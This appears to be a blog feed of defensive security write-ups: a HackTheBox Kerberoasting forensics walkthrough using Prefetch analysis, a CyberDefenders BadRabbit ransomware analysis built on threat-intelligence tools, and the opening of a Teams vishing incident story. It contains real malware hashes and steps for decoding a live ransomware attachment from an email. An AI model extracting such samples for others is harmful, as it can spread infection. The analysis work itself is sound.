Forensics:\nPrefetch files are great artifacts for forensic investigators trying to analyze applications that have been run on a system. Windows creates a prefetch file when an application is run from a particular location for the very first time. This is used to help speed up the loading of applications. For investigators, these files contain some valuable data on a user’s application history on a computer.\nThe idea here is that if we can parse these Prefetch files, we should be able to identify which executable was launched on the workstation during the attack window and determine its file path. This gives us visibility into the actual Kerberoasting tool used, even if it didn’t leave obvious footprints elsewhere.\nThe downside is that Prefetch files aren’t meant to be read directly, so we need a way to convert them into something usable.\nThe contents of the prefetch folder\nEnter PECmd, one of the many tools in Eric Zimmerman’s suite. It’s built to parse the prefetch logs and it’s already loaded in the analysis environment, so we just need to run it from PowerShell. Here’s an example command where we tell PECmd to parse the prefetch directory and output to a CSV called investigation.csv:\nTo do that, we’ll use PECmd, one of the tools in Eric Zimmerman’s forensic suite. It’s specifically built to parse Prefetch files and extract execution metadata, and it’s already available in the analysis environment.\nFrom PowerShell, we can run the following command to parse the Prefetch directory and export the results to a CSV file:\n.\\PECmd.exe -d \u0026ldquo;C:\\Users\\vboxuser\\Desktop\\Challenges\\Triage\\Workstation\\2024-05-21T033012_triage_asset\\C\\Windows\\prefetch\u0026quot; \u0026ndash;csv \u0026ldquo;C:\\Users\\vboxuser\\Desktop\\Challenges\u0026rdquo;\u0026ndash;csvf investigation.csv\nOnce the CSV is generated, we can open it using Timeline Explorer, another Zimmerman tool that makes sorting and filtering forensic timelines much easier.\nInside Timeline Explorer, focus on the Executable Name column. This is where we’re looking for the tool responsible for the Kerberoasting activity. Scanning through the results, one name immediately stands out among the normal background applications. Can you spot it?\nTimeline Explorer: Finding the tool that performed the kerberoasting and the time of execution\nThe tool is Rubeus (S1071), a well‑known Kerberos abuse tool frequently used to perform Kerberoasting, ticket harvesting, and other Kerberos‑focused attacks.\nRubeus _Edit description_attack.mitre.org\nTo determine the full file path, select the Files Loaded column for the Rubeus entry and double‑click it to open the detailed view. This reveals the full path used when the executable was launched. Since Prefetch paths are recorded relative to the drive, we simply need to prepend C:\\ to reconstruct the complete path to answer Question 6.\nFinally, to answer Question 7, we can pull the execution time directly from the Last Run column in the Prefetch data. As with earlier steps, this timestamp is recorded in UTC, so no time zone conversion is required.\nAt this point, we’ve identified the exact tool used to dump Kerberos service tickets, confirmed where it lived on disk, and pinned down when it was executed, neatly closing out Questions 6 \u0026amp; 7 and our investigation. Nice job!\nConclusion: Great challenge, how fun was that? A huge thank you to Hack The Box for another awesome challenge.\nThis lab ended up being a good reminder of just how much signal exists in event logging if you take the time to really understand how domain authentication works. Kerberos isn’t new, and Kerberoasting isn’t either, but walking through the mechanics step by step makes it clear why weak service account hygiene still represents real risk in modern environments. Nothing wild here, just attackers leveraging expected behavior in ways defenders need to anticipate.\nWhat I appreciated most about this challenge is that there wasn’t a single log or artifact that magically answered everything. Instead, we had to move between Domain Controller security logs, PowerShell operational telemetry, and workstation artifacts like Prefetch. Each source gave us part of the picture, but none of them stood on their own. Correlation is key.\nLeveraging MITRE ATT\u0026amp;CK as a reference point also paid off here. Rather than hunting randomly, it helped home in on what to look for, why certain events were important, and how those signals might translate into detections later on. This is the kind of challenge that quietly reinforces how ATT\u0026amp;CK can guide both investigations and detection engineering without forcing the analysis into a rigid mold. Awesome stuff.\nIf you got something out of this walkthrough, whether it helped you better understand Kerberos abuse, work through a stumbling block, or just served as a practical reference, feel free to give it a clap and follow along. I really appreciate the support, and I hope these write‑ups continue to be useful.\nRemember, cybersecurity is a team sport, and we’re in this together.\nUntil next week’s challenge, stay curious and be safe out there.\nTools \u0026amp; References: Challenge Link: https://app.hackthebox.com/sherlocks/Campfire-1?tab=play_sherlock\nFlare-VM: https://github.com/mandiant/flare-vm\nMITRE ATT\u0026amp;CK — Steal or Forge Kerberos Tickets: Kerberoasting(T1558.003): https://attack.mitre.org/techniques/T1558/003/\nMicrosoft — “Microsoft’s guidance to help mitigate Kerberoasting”: https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/\nEvent Log Explorer: https://eventlogxp.com/\nMicrosoft Learn — “4769(S, F): A Kerberos service ticket was requested”: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769\nMITRE ATT\u0026amp;CK — Software — PowerSploit (S0194): https://attack.mitre.org/software/S0194/\nMagnet Forensics Blog — “Forensic Analysis of Prefetch files in Windows”: https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/\nEric Zimmerman’s Tools: https://ericzimmerman.github.io/#!index.md\nMITRE ATT\u0026amp;CK — Software — Rubeus (S1071): https://attack.mitre.org/software/S1071/\n","date":"2026-05-10T00:00:00Z","image":"/posts/hackthebox-campfire-1-sherlock-walkthrough/2e96b36576478948e67b6d50b55c19aa_MD5.png","permalink":"/posts/hackthebox-campfire-1-sherlock-walkthrough/","title":"HackTheBox  — Campfire-1 Sherlock Walkthrough"},{"content":"CyberDefenders: BRabbit Lab Walkthrough BadRabbit Ransomware Analysis: Correlating Threat Intelligence, Sandbox Reports, and ATT\u0026amp;CK Mapping Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/brabbit/\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this post while looking for a detailed guide to the BRabbit blue team lab from CyberDefenders, you\u0026rsquo;re in the right place. This one drops us straight into incident response mode, where a single convincing phishing email turns into a full-blown ransomware outbreak.\nIn this scenario, we\u0026rsquo;re assisting a fictional organization that fell victim to ransomware after an employee opened what appeared to be a routine email from their boss. Familiar logo, familiar email address, and a seemingly harmless attachment. After opening it, the system is compromised, sensitive files are encrypted, and the victim can no longer boot. Yikes.\nOn paper, the mission is simple. Identify the malware, understand its behavior, learn how it persists, how it communicates, how it damages the system, and where it might have come from. In practice, it\u0026rsquo;s a lot messier. The twist here is that we\u0026rsquo;re not always taking the fastest route to the answer. Instead, I intentionally stayed within the constraints of threat intelligence platforms and public sandbox reports.\nThat means leaning heavily on tools like CyberChef, VirusTotal, Recorded Future Tria.ge, Any.Run, and Malpedia. This isn\u0026rsquo;t always the most efficient path, but it\u0026rsquo;s a very realistic one. In real investigations, you\u0026rsquo;re often correlating CTI, validating what others have already observed, and deciding how much confidence to place in the evidence available, rather than reverse engineering everything from scratch.\nAs we work through the questions, we\u0026rsquo;ll bounce between email analysis, file metadata, behavioral reports, ATT\u0026amp;CK mappings, and attribution, sometimes revisiting the same artifacts from different angles. That repetition is intentional. The goal isn\u0026rsquo;t just to answer the questions, but to introduce different tools, show how they complement each other, and model an investigation workflow that values context over speed.\nAnd hey, if you find this walkthrough helpful, whether it helps you level up your memory forensics skills, gets you over a stumbling block, or just serves as a useful reference, consider following me for more weekly deep dives.\nThanks for reading and going on this investigation with me. Let\u0026rsquo;s go!\nChallenge Scenario: You are an investigator assigned to assist Drumbo, a company that recently fell victim to a ransomware attack. The attack began when an employee received an email that appeared to be from the boss. It featured the company\u0026rsquo;s logo and a familiar email address. Believing the email was legitimate, the employee opened the attachment, which compromised the system and deployed ransomware, encrypting sensitive files. Your task is to investigate and analyze the artifacts to uncover information about the attacker.\nSetup the Analysis Environment \u0026amp; Extract the Challenge File: Safety first! When working with lab/challenge files from CyberDefenders (or any educational lab/challenge/range), it\u0026rsquo;s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I\u0026rsquo;m using REMnux, a specialized Linux distribution for malware analysis.\nTo keep this write-up focused, I\u0026rsquo;m going to skip step-by-step setup directions of REMnux, but if you\u0026rsquo;d like to set up your own environment, please follow the guide provided by REMnux directly. For reference, I used the virtual appliance method:\nGet the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into\u0026hellip;_docs.remnux.org\nOnce you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: The phishing email used to deliver the malicious attachment showed several indicators of a potential social engineering attempt. Recognizing these indicators can help identify similar threats in the future. What is the suspicious email address that sent the attachment?\nLet\u0026rsquo;s get to it. Our first step is to extract the attachment named Urget Contract Action.zip, which leaves us with our primary artifact, Urget Contract Action.eml.\nOverview of the Challenge File\nBefore opening anything further, you might notice a warning.txt file included with the challenge. This one is important. It explains that we\u0026rsquo;ll be interacting with real malware samples, so if you skipped the \u0026ldquo;Setup the Analysis Environment\u0026quot;section, take a moment to pause here and make sure you\u0026rsquo;re working in a safe, isolated environment and understand the warning issued by the challenge.\nHeed the warning\nThe first thing we need to do is a basic email header analysis. There are a lot of ways to approach this using dedicated mailbox or header analysis tools, but for this writeup, we\u0026rsquo;ll take a slightly different route and lean on CyberChef. That gives us the flexibility to handle both header analysis and file extraction in one place.\nYou can use either the online or offline version of CyberChef. With either option, the approach is the same. Drop Urget Contract Action.eml directly into the input window.\nTo answer Question 1 and identify indicators of social engineering, we can apply the \u0026ldquo;Extract email addresses\u0026rdquo; operation to our recipe. This quickly pulls out all email addresses present in the message headers and body, saving us from manually digging through raw header text.\nAnd almost immediately, something stands out.\nCyberChef: Identifying the suspicious sender address\nInstead of coming from Drumbo\u0026rsquo;s legitimate domain, the sender address uses a fun typo. The domain reads \u0026ldquo;drurnbo\u0026rdquo; instead of Drumbo. This kind of typo squatting is a common social engineering tactic, relying on how easily \u0026ldquo;rn\u0026rdquo; can visually blend in to look like \u0026ldquo;m\u0026rdquo; at a glance. The attacker also leveraged the CEO\u0026rsquo;s name, adding urgency and legitimacy to the message and increasing the likelihood that the recipient would trust the attachment and open it\u0026hellip;which worked!\nQuestion 2: The ransomware was identified as part of a known malware family. Determining its family name can provide critical insights into its behavior and remediation strategies. What is the family name of the ransomware identified during the investigation?\nNext, we need to extract the attachment from the phishing email so we can begin some initial analysis. While it would be much easier to simply open the .eml file in an email client, we can also extract the attachment directly using CyberChef and keep everything inside our current workflow.\nTo do this, scroll down and identify the section of the email labeled:\nContent-Disposition: attachment; filename=\u0026ldquo;Urgent Contract Action.pdf.exe\u0026rdquo;\nJust below that header, you\u0026rsquo;ll see a long Base64-encoded blob. That blob is the attachment itself, named Urgent Contract Action.pdf.exe. The filename alone is already doing some social engineering. The double extension strongly suggests an executable file attempting to masquerade as a harmless PDF.\nCyberChef: Identifying the attachment as Base64\nKeep in mind that the blob is much longer than what\u0026rsquo;s visible in the screenshot. Make sure to copy the entire Base64 string and then paste it into a new input window within CyberChef.\nCyberChef: Decoding and extracting the attachment\nOnce pasted in, add the \u0026ldquo;From Base64\u0026quot;and \u0026ldquo;Extract Files\u0026rdquo; operations to the recipe. This allows us to reconstruct the original attachment directly from the email content. In this challenge, the extracted file appears as extracted_at_0x0.exe. Go ahead and save that file.\nThe next step is to grab the SHA-256 hash of the extracted executable. This hash is critical because it gives us a fingerprint that can be used to search threat intelligence platforms for known malware samples.\nOn a Linux system, we can generate the hash using the following command:\nsha256sum extracted_at_0x0.exe\nCalculating the SHA256 hash of the ransomware binary\nWhich produces:\n630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da\nWith the file hash in hand, it\u0026rsquo;s time to pivot into external threat intelligence. Copy the hash and submit it to VirusTotal. This sample has been observed before and is flagged as malicious by multiple vendors.\nWhat we care about most for Question 2, though, is the malware family classification: BadRabbit.\nVirusTotal: Identifying the ransomware family\nNow that we\u0026rsquo;ve confirmed the malware family, we can start digging into its behavior and better understand what we\u0026rsquo;re dealing with.\nQuestion 3: Upon execution, the ransomware dropped a file onto the compromised system to initiate its payload. Identifying this file is essential for understanding its infection process. What is the name of the first file dropped by the ransomware?\nTo begin answering Question 3, there\u0026rsquo;s a good lesson worth calling out. When gathering cyber threat intelligence, you often need to consult multiple sources to paint a complete picture. No single platform tells the whole story. That\u0026rsquo;s exactly what we\u0026rsquo;re going to do next.\nLet\u0026rsquo;s take a brief detour away from VirusTotal and highlight another excellent malware analysis and threat intelligence resource: Recorded Future Tria.ge. While much of this behavioral detail is technically available in VirusTotal, it\u0026rsquo;s easier to visualize and explain using Tria.ge\u0026rsquo;s sandbox reporting.\nNavigate to the Reports tab and submit the BadRabbit hash we collected earlier.\nHeads-up, you\u0026rsquo;ll likely see several results. Go ahead and select a report that matches the same filename as our extracted sample. I\u0026rsquo;ve linked the exact report I used below to keep things consistent.\nbadrabbit | 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da | Triage _Check this badrabbit report malware sample 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da, with a\u0026hellip;_tria.ge\nOnce inside the report, click Tasks and then select behavioral1. From there, scroll down to the Processes section.\nTria.ge: Behavioral report \u0026gt; Processes snippet\nThis is where things get interesting. The behavioral analysis shows that shortly after execution, the ransomware binary launches rundll32.exe. That process is then used to drop a file named infpub.dat onto the system.\nThis answers Question 3 for us. The first file dropped by the ransomware during execution is infpub.dat. More importantly, this gives us our next breadcrumb.\nQuestion 4: Inside the dropped file, the malware contained hardcoded artifacts, including usernames and passwords that could provide clues about its origins or configuration. What is the only person\u0026rsquo;s username found within the dropped file?\nNow that we\u0026rsquo;ve confirmed the name of the dropped file, let\u0026rsquo;s jump back over to VirusTotal and look at the dropped files view for the original BadRabbit hash we identified in Question 2. The goal here is to change perspective. By pivoting back to VirusTotal, we can dig deeper into infpub.dat using threat intelligence that complements what we already saw in Recorded Future Tria.ge.\nNavigate to the Relations tab and then select Dropped Files. This view is a bit less structured than what we saw in Tria.ge, but with a little digging, we can locate infpub.dat and click into it to start answering Question 4.\nVirusTotal: Identifying the hash of infpub.dat\n579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648\nOnce on the VirusTotal page for infpub.dat, we get several analysis options. Before jumping straight into our own static analysis, it\u0026rsquo;s worth seeing what the community and external researchers have already uncovered.\nHead over to the Community tab. This section often contains links to malware write-ups, analyst notes, or external research that can save us time and help validate our assumptions.\nVirusTotal: Finding external reporting through the community comments\nIn this case, there\u0026rsquo;s a particularly helpful link to an analysis published on ESET\u0026rsquo;s WeLiveSecurity blog. The report provides key insight into BadRabbit\u0026rsquo;s internal artifacts and behavior, including the use of embedded credentials.\nBad Rabbit: Not-Petya is back with improved ransomware _A new ransomware outbreak today has hit some major infrastructure in Ukraine including Kiev metro. Here are some\u0026hellip;_www.welivesecurity.com\n\u0026quot; # \u0026quot;\nMimikatz is launched on the compromised computer to harvest credentials. A hardcoded list of usernames and passwords is also present.\u0026rdquo;\nReviewing the reported credential data, we see several system or service-related account names. However, one username stands out. Unlike generic entries such as guest, administrator, or service-style accounts, there is a single, clearly human username embedded in the file: alex.\nThat makes alex the only person\u0026rsquo;s username found within the dropped file, and the answer to Question 4.\nIdentifying the username through the ESET report\nQuestion 5: After execution, the ransomware communicated with a C2 server. Recognizing its communication techniques can assist in mitigation. What MITRE ATT\u0026amp;CK sub-technique describes the ransomware\u0026rsquo;s use of web protocols for sending and receiving data?\nAfter execution, the ransomware needs a way to communicate with its command-and-control infrastructure. Understanding how it sends and receives data is important, because these techniques often inform both detection and mitigation strategies.\nSince we already have the hash for infpub.dat from Question 4, we can pivot to another useful tool to help with this analysis: Any.Run. This interactive sandbox is especially helpful for visualizing network behavior, rather than stumbling through static reports.\nNavigate to the Any.Run reports section and search for the hash associated with the dropped file. From the available results, select one of the public analysis runs. For example, the report below matches the same sample and provides clear network data:\nAnalysis infpub.exe (MD5: 1D724F95C61F1055F0D02C2154BBCCD3) Malicious activity — Interactive\u0026hellip; _Interactive malware hunting service. Live testing of most type of threats in any environments. No installation and no\u0026hellip;_app.any.run\nOnce inside the report, turn your attention to the Network Threats tab in the bottom pane. Scroll through the color-coded rows until you reach entries marked as \u0026ldquo;potentially bad traffic.\u0026ldquo;This is where things click. The report highlights WebDAV traffic associated with infpub.dat, showing it being used to send and receive data over the network. WebDAV blends into normal-looking web traffic, which makes it attractive for malware trying to avoid detection.\nAny.Run: Identifying potentially malicious WebDAV traffic\nThis behavior maps to the MITRE ATT\u0026amp;CK sub-technique Application Layer Protocol: Web Protocols (T1071.001). This technique describes adversaries communicating over common web-based application protocols in order to blend in with legitimate network activity.\nApplication Layer Protocol: Web Protocols _Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network\u0026hellip;_attack.mitre.org\nThat gives us the answer to Question 5. The ransomware\u0026rsquo;s command-and-control traffic is best described by T1071.001: Application Layer Protocol: Web Protocols.\nQuestion 6: Persistence mechanisms are a hallmark of sophisticated ransomware. Identifying how persistence was achieved can aid in recovery and prevention of reinfection. What is the MITRE ATT\u0026amp;CK Sub-Technique ID associated with the ransomware\u0026rsquo;s persistence technique?\nMoving right along, we now need to determine how the ransomware maintains persistence on the compromised system. Continuing our pattern of pivoting between tools, let\u0026rsquo;s revisit the Recorded Future Tria.ge report for the original BadRabbit sample and take another look at the process tree.\nAfter execution and the dropping of infpub.dat, we see a familiar sequence unfold. The malware spawns cmd.exe, which in turn launches schtasks.exe. This is the built-in Windows command-line utility used to create or modify scheduled tasks.\nTria.ge: highlighting scheduled task creation for persistence\nThat sequence is a strong indicator of a classic persistence mechanism. By creating a scheduled task, the malware ensures it can re-execute automatically, often on a timer or at system startup, without requiring user interaction.\nThis behavior is documented in MITRE ATT\u0026amp;CK as the sub-technique Scheduled Task/Job: Scheduled Task (T1053.005). With that, we\u0026rsquo;ve answered Question 6.\nScheduled Task/Job: Scheduled Task _Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of\u0026hellip;_attack.mitre.org\nQuestion 7: As part of its infection chain, the ransomware created specific tasks to ensure its continued operation. Recognizing these tasks is crucial for system restoration. What are the names of the tasks created by the ransomware during execution? Now that we\u0026rsquo;ve confirmed that T1053.005 (Scheduled Task) was used as the persistence mechanism, the next step is to determine the names of the scheduled tasks created by the ransomware. This detail matters, because knowing exactly what to look for can significantly speed up system restoration and cleanup.\nLuckily for us, this information is available in the same Recorded Future Tria.ge process tree we used back in Question 6.\nTria.ge: Identifying the names of the scheduled tasks created by the ransomware\nFocusing on the process command-line arguments, we can clearly see both task creation and deletion events involving schtasks.exe. The key field to look for is the /TN argument, which specifies the task name being created or removed.\nLooking closely at these entries, two task names jump out. During execution, BadRabbit creates scheduled tasks named Rhaegal and Drogon.\nFor anyone familiar with Game of Thrones, these names might ring a bell. While the references are fun, they also make these tasks easier to spot during incident response, assuming you know what you\u0026rsquo;re looking for.\nWith that, we\u0026rsquo;ve answered Question 7. The ransomware creates scheduled tasks named Rhaegal and Drogon to maintain persistence.\nQuestion 8: the malicious binary dispci.exe displayed a suspicious message upon execution, urging users to disable their defenses. This tactic aimed to evade detection and enable the ransomware\u0026rsquo;s full execution. What suspicious message was displayed in the Console upon executing this binary? The next step in our analysis is to identify the console message displayed after executing another related malicious binary, dispci.exe. We see this file referenced in the Recorded Future Tria.ge report, but at this stage, we don\u0026rsquo;t yet have much detail on what it actually does.\nTria.ge: Identifying the process execution of dispci.exe\nTo gather more context, let\u0026rsquo;s pivot back to VirusTotal and look at the original BadRabbit sample. Under Relations → Dropped Files, we can locate dispci.exe and identify its file hash:\n0f815e2944f12b847e1165517daaab6be67ff4c1daee73b09e8fb3733b974c9f\nVirusTotal: Identifying the file hash of dispci.exe\nWith the hash in hand, we have a few options. We could download the binary from a malware repository for hands-on static analysis, move over to an interactive sandbox, or continue leaning on existing threat intelligence reporting.\nFor this writeup, we\u0026rsquo;ll stick with VirusTotal and see what\u0026rsquo;s already available.\nNavigate to the Behaviors tab for dispci.exe. From there, select the Zenbox full sandbox report. One of the more useful features of this report is that it captures screenshots of the malware during execution, which can reveal user-facing behavior we might otherwise miss.\nVirusTotal: Opening the Zenbox sandbox report\nTo illustrate this, select the Zenbox report and scroll down to the Screenshots section at the bottom of the report.\nZenbox: Reviewing execution screenshots\nThis gives us exactly what we need to answer Question 8. Upon execution, dispci.exe displays the following message in the console:\n\u0026ldquo;Disable your anti-virus and anti-malware programs.\u0026ldquo;This prompt is another attempt at defense evasion through social engineering. By urging the victim to weaken or disable their security controls, the malware improves its chances of executing fully without being hindered by security tools.\nQuestion 9: To modify the Master Boot Record (MBR) and encrypt the victim\u0026rsquo;s hard drive, the ransomware utilized a specific driver. Recognizing this driver is essential for understanding the encryption mechanism. What is the name of the driver used to encrypt the hard drive and modify the MBR?\nTo answer Question 9, we need to identify the specific driver used by the ransomware to encrypt the victim\u0026rsquo;s hard drive and modify the Master Boot Record. This driver is a critical part of the encryption chain, because it explains how the ransomware is able to operate at a low level on the system.\nTo get there, exit the Behaviors tab and navigate to the Details page for dispci.exe in VirusTotal. This view exposes metadata about the binary.\nUnder Signature Info → File Version Information, we see that dispci.exe is associated with DiskCryptor. This attribution is reinforced by the metadata copyright information embedded in the binary, which points back to the DiskCryptor project.\nVirusTotal: Looking for driver clues on the behaviors tab\nAccording to the project description, \u0026ldquo;DiskCryptor is an open encryption solution that offers encryption of all disk partitions, including the system partition.\u0026ldquo;That tells us exactly what we need for Question 9. The ransomware leverages the DiskCryptor driver to perform full disk encryption and modify the Master Boot Record. With that, we can confidently answer Question 9.\nQuestion 10: Attribution is key to understanding the threat landscape. The ransomware was tied to a known attack group through its tactics, techniques, and procedures (TTPs). What is the name of the threat actor responsible for this ransomware campaign?\nWe\u0026rsquo;re closing in on the end of our analysis, and now it\u0026rsquo;s time to look beyond tools and techniques and focus on attribution. The question here isn\u0026rsquo;t about the nitty-gritty details of how the ransomware works anymore, but who is historically tied to this campaign based on shared tactics, techniques, and procedures.\nTo do that, let\u0026rsquo;s pivot away from sandboxing platforms and threat execution data and move into a dedicated malware knowledge base: Malpedia.\nMalpedia is an excellent resource for tying malware families to known threat actors and for surfacing a ton of great external reporting in one place. From the home page, search for BadRabbit.\nMalpedia: Identifying actors associated with Bad Rabbit\nEternalPetya (Malware Family) _According to proofpoint, Bad Rabbit is a strain of ransomware that first appeared in 2017 and is a suspected variant of\u0026hellip;_malpedia.caad.fkie.fraunhofer.de\nRight away, we can locate the BadRabbit entry, where it\u0026rsquo;s described as a ransomware family closely related to Petya and NotPetya. This aligns with what we\u0026rsquo;ve already observed throughout the challenge, especially the disk-level encryption behavior and file hashes.\nScrolling further, Malpedia lists multiple attribution assessments sourced from external intelligence vendors. One threat actor stands out as the most consistently associated with BadRabbit.\nSandworm Team _In October 2020, the US indicted six GRU Unit 74455 officers associated with Sandworm Team for the following cyber\u0026hellip;_attack.mitre.org\nSandworm is a well-documented threat group linked to destructive campaigns targeting critical infrastructure and large organizations, and it\u0026rsquo;s commonly associated with NotPetya and related ransomware operations.\nQuestion 11: The ransomware rendered the system unbootable by corrupting critical system components. Identifying the technique used provides insight into its destructive capabilities. What is the MITRE ATT\u0026amp;CK ID for the technique used to corrupt the system firmware and prevent booting?\nFinally, we\u0026rsquo;ve made it to the last question. Our closing task is to identify the MITRE ATT\u0026amp;CK technique used by the ransomware to render the victim system unbootable.\nFrom Question 9, we know that DiskCryptor was used to encrypt the hard drive and modify the Master Boot Record. From the question, we can infer that that outcome is that on top of the data being encrypted, the system is left unable to boot normally.\nRather than speculate, let\u0026rsquo;s check out the MITRE ATT\u0026amp;CK software page for BadRabbit to confirm which Impact technique MITRE themselves associate with this behavior.\nBad Rabbit _Bad Rabbit is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. Bad Rabbit has\u0026hellip;_attack.mitre.org\nLooking at the listed techniques, one maps directly to the effect described in the question. Firmware Corruption (T1495) is documented as a technique used to damage critical boot components in order to prevent a system from starting.\nMITRE ATT\u0026amp;CK: Identifying Bad Rabbit destructive impact techniques\nMITRE explicitly lists T1495 as an Impact technique associated with BadRabbit, reflecting the ransomware\u0026rsquo;s ability to overwrite boot-related disk structures and leave systems unbootable. That gives us our final answer.\nWith that, we\u0026rsquo;ve completed the analysis, from initial infection through destructive impact and now we can wrap up our investigation.\nConclusion: So, how fun was that? A big thank you to CyberDefenders for another awesome challenge.\nThis lab ended up being a good reminder that there\u0026rsquo;s rarely a single tool, report, or source of truth that magically answers every question. As much as we\u0026rsquo;d all like a one-stop solution for threat intelligence, the reality is that investigations often turn into a bit of a research slog. Not because the answers are impossible to find, but because they live across multiple platforms, formats, and perspectives.\nI\u0026rsquo;ll be honest, I expected this challenge to go a bit faster. Instead, it slowed me down in a good way. It forced me to stop, pivot between tools, reframe questions, and validate instead of jumping straight to conclusions. It\u0026rsquo;s a realistic (if frustrating) experience, mirroring how real investigations go, especially when you\u0026rsquo;re operating under constraints and relying on publicly available intelligence.\nFrom my perspective, the real value here comes from tying different sources together and being exposed to different tools. Interactive sandboxes like Recorded Future Tria.ge and Any.Run gave us a safe way to observe behavior as it unfolded. Static and reports in VirusTotal helped ground and validate those observations with hashes, relationships, and community context. External reporting and curated knowledge bases like Malpedia added context and attribution that raw analysis alone didn\u0026rsquo;t show. None of these tools were sufficient on their own, but together they painted a much clearer picture.\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/brabbit/\nREMnux: https://remnux.org/\nCyberChef: https://gchq.github.io/CyberChef/\nVirusTotal: https://www.virustotal.com/\nVirusTotal (Urget Contract Action.pdf.exe) — https://www.virustotal.com/gui/file/630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da\nRecorded Future Tria.ge (Urgent Contract Action.pdf.exe): https://tria.ge/251107-yd3m1ahm6v/behavioral1\nVirusTotal (infpub.dat) — https://www.virustotal.com/gui/file/579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648\nVirusTotal (dispci.exe) — https://www.virustotal.com/gui/file/0f815e2944f12b847e1165517daaab6be67ff4c1daee73b09e8fb3733b974c9f\nWelivesecurity by Eset — \u0026quot; # \u0026ldquo;Bad Rabbit: Not-Petya is back with improved ransomware\u0026rdquo;: https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/\nAny.Run (infpub.dat): https://app.any.run/tasks/b83b65e0-5717-4e98-9763-32cd281ff023\nDisk Cryptor: https://diskcryptor.org/\nMalpedia — EternalPetya: https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya\nMITRE ATT\u0026amp;CK — Groups — Sandworm Team (G0034): https://attack.mitre.org/groups/G0034/\nMITRE ATT\u0026amp;CK — Software — Bad Rabbit (S0606): https://attack.mitre.org/software/S0606/\nMITRE ATT\u0026amp;CK — Firmware Corruption (T1495): https://attack.mitre.org/techniques/T1495/\n","date":"2026-05-03T00:00:00Z","image":"/posts/cyberdefenders-brabbit-lab-walkthrough/64f42e72ee3b5f8e30009b1e2df30104_MD5.png","permalink":"/posts/cyberdefenders-brabbit-lab-walkthrough/","title":"CyberDefenders — BRabbit Lab Walkthrough"},{"content":"StumbleSOC Stories: The Teams Call Compromise A Tale of Two Adams: Microsoft Teams Vishing and Practical Detection with Microsoft Defender XDR Photo by appshunter.io on Unsplash\nIntroduction — A Tale of Two Adams This week, I\u0026rsquo;m taking another detour from my usual walkthrough format to try something a little different. This is another entry in my StumbleSOC Stories series, a collection of field notes and real-world anecdotes. It\u0026rsquo;s essentially my working diary, where I recount interesting incidents with actionable insights and takeaways.\nThis particular story is adapted from two real incidents separated by about ten months, both involving Microsoft Teams, voice phishing, and a suspiciously helpful individual named Adam. It\u0026rsquo;s less a tale of deep technical chops and more a reminder of how effective social engineering can be when it shows up in a familiar place, at the wrong time, wearing a friendly display name.\nRather than walk through this as a formal incident response case study, I\u0026rsquo;m taking more of an inside-out approach. We\u0026rsquo;ll stumble through what tipped us off, how we scoped what happened, where our controls worked, and, more importantly, where they didn\u0026rsquo;t. Along the way, I\u0026rsquo;ll highlight the adjustments the organization made and how small changes in visibility, reporting, and detection made a real difference the second time around.\nThe goal here isn\u0026rsquo;t to document a perfect response or to shame a user who did everything \u0026ldquo;wrong.\u0026rdquo; It\u0026rsquo;s to show how quickly trust can be established with ubiquitous, real-time collaboration tools, how easily that trust can be exploited, and how defenders can adapt without cloistering themselves off from tools the business relies on every day.\nThis is A Tale of Two Adams. Let\u0026rsquo;s go!\n\u0026ldquo;Hello, this is Adam from your IT Department.\u0026rdquo; Back in the summer of 2025, I had my first close encounter with Microsoft Teams voice phishing. I know, fashionably late to the vishing party. Bear with me. A user in an organization I was supporting received a call with the display name \u0026ldquo;IT Support (Working From Home)\u0026rdquo;. You can probably guess where this is going.\nThe security team picked up on this when alerts started popping for strange artifacts blocked by the IPS, but nothing surfaced from the EDR tooling, and there was no report from the user.\nAfter a quick triage, the team pieced together that the user had attempted to open Quick Assist on their work laptop, a preinstalled remote support utility in Windows. That activity was blocked by the EDR network sensor due to a pre-existing URL block indicator. A key detail here is that these informational-level events tend to be pretty noisy in that environment, so they were suppressed and never surfaced in the queue.\nFrom there, we identified that the user had also received a suspicious email containing instructions and a link to download and install another remote support tool, Zoho Assist. Shortly after, there was an attempt to download a ZIP file via curl. That connection attempt is ultimately what the IPS picked up and blocked.\nOnce this activity was confirmed, we pumped the brakes, isolated the device, and reached out to the user for more context:\n\u0026ldquo;OMG, someone named_ Adam _called me from €˜IT Support (Working From Home) (External)\u0026rsquo; and ran something on my computer. After the call I was like\u0026hellip; I hope that was legit.\u0026rdquo; It wasn\u0026rsquo;t. The user had their suspicions too (maybe the EXTERNAL tag helped) and had already rebooted the device, cutting off the remote access. We mostly just confirmed what they already suspected. The attacker only had access to the device for a few minutes, but in that short window there was already a lot to learn.\nThen, almost on cue, as we were discussing the situation, Adam called back to \u0026ldquo;resolve the connection issues.\u0026rdquo; Adam seemed like an initial access-type actor, not the man with the plan. He explained that he was totally stumped as to why the commands he ran hadn\u0026rsquo;t worked (thanks, IPS) 